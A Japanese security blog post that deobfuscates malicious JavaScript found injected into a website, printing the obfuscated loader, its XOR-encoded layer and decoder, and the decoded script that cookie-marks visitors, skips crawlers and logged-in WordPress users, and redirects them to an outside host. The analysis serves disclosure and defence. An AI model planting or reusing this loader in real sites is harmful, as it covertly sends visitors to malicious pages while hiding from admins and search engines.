- 8, 104 - 3, 117 - 2, 61 - 2, 13 - 3, 126 - 1, 13 - 3, 17 - 7, 126 - 8, 104 - 7, 115 - 1, 37 - 5, 104 - 4, 108 - 7, 100 - 1, 36 - 4, 69 - 8, 33 - 1, 128 - 8, 113 - 2, 120 - 6, 97 - 2, 105 - 4, 112 - 2, 108 - 9, 46 - 6, 103 - 6, 124 - 8, 117 - 6, 101 - 3, 45 - 5, 106 - 5, 116 - 6, 106 - 7, 109 - 8, 103 - 3, 46 - 5, 47 - 3, 41 - 9, 115 - 8, 109 - 8, 126 - 5, 43 - 2, 61 - 2, 18 - 8, 46 - 6, 114 - 4, 108 - 7, 126 - 7, 39 - 7, 74 - 4, 125 - 8, 119 - 9, 108 - 9, 122 - 6, 114 - 9, 114 - 3, 111 - 1, 41 - 1, 104 - 4, 105 - 4, 104 - 5, 44 - 3, 47 - 6, 49 - 9, 45 - 4, 68 - 9, 14 - 4, 16 - 6)))();

これでは何が書かれているのかさっぱり判りませんね。そこで、復元作業をしてみると...

var key = 'hhVryOyUnI';
var enced = 'QA4jHBo7EDoAaQkbMlpQbwJfTmkeCSRSDhAVOg0oHAE5HFlyWXIGPRwYbF1WOQA9GytGCzkfViwKJkEqGxt5VUJFWXUYKBpINR0WJBAwTnRITy8rEz0YYT4KC1A9HzsHHCYdeAEKcUlzRVl1CDwGCyIbFiFZJhooGhx+W1k0c3VOaUgeNwBZLBY6BSANG3ZPWSsWNhskDQYiXBogFj4HLEgUKlJeaEJfTmlISD8UWWcaOgEiAQ0lXBAhHTAWBg5ANR0WJBAwR2lJVWtSVH5QdRVDSEh2UllvCzAaPBoGbXhZb1l1E0NISHZSEClZfQ0mBwM/FwphEDsKLBAnMFpeOAl4HSwcHD8cHjxefE5oVVV2X0hmWS5kaUhIdlJZPRwhGzsGU1xSWW9ZKGRpSEh2Gx9vUTkBKgkEBQYWPRgyC2cPDSI7DSoUfQ0mBwM/F1BvRGhTaU9ZcVtZNHN1TmlISHYAHDsMJwByYkh2Ulkyc3VOaUgeNwBZOhgyCyccSGtSFy4PPAkoHAckXAw8HCcvLg0GIklzb1l1TiAOSH5TDC4eMAA9QUgteFlvWXVOaRoNIgcLIUJfTmlISCt4c29ZdU48CQ8zHA1vRHUbKA8NOAZXOxYZAT4NGhUTCipRfFVDSEh2UhApWX0bKA8NOAZXJhcxCzEnDn5VHiAWMgIsT0F2U0RyWXhfQ0hIdlJZb1l1EjVIHTcVHCENewcnDA0uPR9nXjcBPU9BdlNEcll4X0NISHZSWW9ZdRI1SB03FRwhDXsHJwwNLj0fZ142HCgfBHFbWW5EaE5kWWJ2UllvWXVOaRQUdgcYKBw7GmcBBjIXAQAffUkrAQYxVVBvWGhTaUVZXFJZb1l1TmlIFCpSDC4eMAA9RgE4Fhw3NjNGbhEJPh0WaFB1T3RVSHtDUG8CX05pSEh2UgsqDSAcJ1NidlJZbwRfZGlISHYBHDstPAMsBx0iWh86FzYaIAcGfltZNHN1TmlISHYBHDs6OgEiAQ1+ERYgEjwLZUhPZ0BKaFV1WXpYQW14WW9ZdU5pBAc1ExUcDTocKA8NeAEcOzAhCyRACzkdEiYceU5uWU9/SXNvWXVOaUgfPxwdIA57AiYLCSIbFiFZaE4+NwQ5ERg7EDoAcmJIdlJZMlV1XHlIQnZDSX9JfFVDSEgreFlvHyAAKhwBORxZPBwhLSYHAz8XUSwmOw8kDUR2BBgjDDBCaQ0QMhMAPFB1FUNISHZSDy4LdQsxDAkiF1lyWTsLPkgsNwYcZ1BuZGlISHYXASsYIQtnGw0iNhg7HH0LMQwJIhdXKBwhKigcDX5bWWRZMBYtCRElW0JFWXVOaR4JJFIaEA80AjwNSGtSHDwaNB4sQB43HgwqUHVFaUBAMwodLgAmTnRVSDgHFSNQdVFpT092SFloQnULMRgBJBcKcl51RWkNEDITDSpXIQEcPCsFBgsmFzJGYEFTXFJZb1kxASodBTMcDWEaOgEiAQ12T1ksJjsPJA1IfVJecl51RWkLNyATFTocbmRpSBVceFlvDzQcaRoNNxYAHA00GiwrADMREgYXIQs7Hgk6UkRvCjAaAAYcMwAPLhV9CDwGCyIbFiFRfE4yYkh2UlkmH3VGLQcLIx8cIQ17HCwJDC8hDS4NME50VVV2VRogFCUCLBwNcXhZb1l1TmlISCoOWSsWNhskDQYiXAsqGDEXGhwJIhdZckR1SSAGHDMAGCwNPBgsT0F2CXNvWXVOaUgLOhcYPTA7GiwaHjceUT0cNAowOxw3BhwMETANIiEGIhcLORg5R3JiSHZSWW9ZJhooGhx+W0JFWXVOaRVidlIEY1lkXmBTYlwPUWZQbmRD';
function xor_enc(string, key) {
  var res = '';
  for (var i = 0; i < string.length; i++) {
    res += String.fromCharCode(string.charCodeAt(i) ^
                                key.charCodeAt(i % key.length));
  }
  return res;
}

var dec = xor_enc(atob(enced), key);
(new Function(dec))();

これでも、まだ見えてきません。で、再度復元作業をしてみると...

(function asd() {
  var w_location = 'http://vyhub.com/css/css/';
  var cookie = 'yYjra4PCc8kmBHess1ib';

  function start() {
    var cookies = document.cookie || '';
    if (cookies.indexOf(cookie) !== -1) {
      return;
    }
    if (cookies.indexOf('wp-settings') !== -1) {
      return;
    }
    if (localStorage.getItem(cookie) === '1') {
      return;
    }
    var uagent = navigator.userAgent;
    if (!uagent) {
      return;
    }

    uagent = uagent.toLowerCase();
    if (uagent.indexOf('google') !== -1
        || uagent.indexOf('bot') !== -1
        || uagent.indexOf('crawl') !== -1
        || uagent.indexOf('bing') !== -1
        || uagent.indexOf('yahoo') !== -1) {
      return;
    }

    setTimeout(function() {
      setCookie(cookie, '123', 730);
      localStorage.setItem(cookie, '1');
      window.location = w_location;
    }, 20 * 1000);
  }
  function setCookie(c_name, value, exdays) {
    var exdate = new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value = escape(value) + ((exdays == null) ? '' : '; expires=' + exdate.toUTCString());
    document.cookie = c_name + '=' + c_value;
  }

  var readyStateCheckInterval = setInterval(function() {
    if (document.readyState === 'complete'
        || document.readyState == 'interactive') {
      clearInterval(readyStateCheckInterval);
      start();
    }
  }, 10);

}());

これで漸く見えてきました。

なにやら、Cookieとローカルストレージに足跡を残して、http://vyhub.com/css/css/ に飛ばすようになっているようです。足跡が残っている場合とクローラーによるアクセスの場合は飛ばないようになっていますね。で、飛んだ先では多重にリダイレクトされて恐ろしい結果が待っているというわけです。恐ろしい結果については後日報告します。

投稿者プロフィール

管理人

最新の投稿

• お知らせ2024/04/04弊社ドメインにおけるDMARCのポリシー変更について
• お知らせ2024/04/01ゴールデンウィーク休業のお知らせ
• お知らせ2024/03/16「中小企業の情報システム担当者不足をどう解決する？」ウェビナー開催
• 情報セキュリティ2024/02/22送信側迷惑メール対策としてのSPF・DKIM・DMARCそしてARC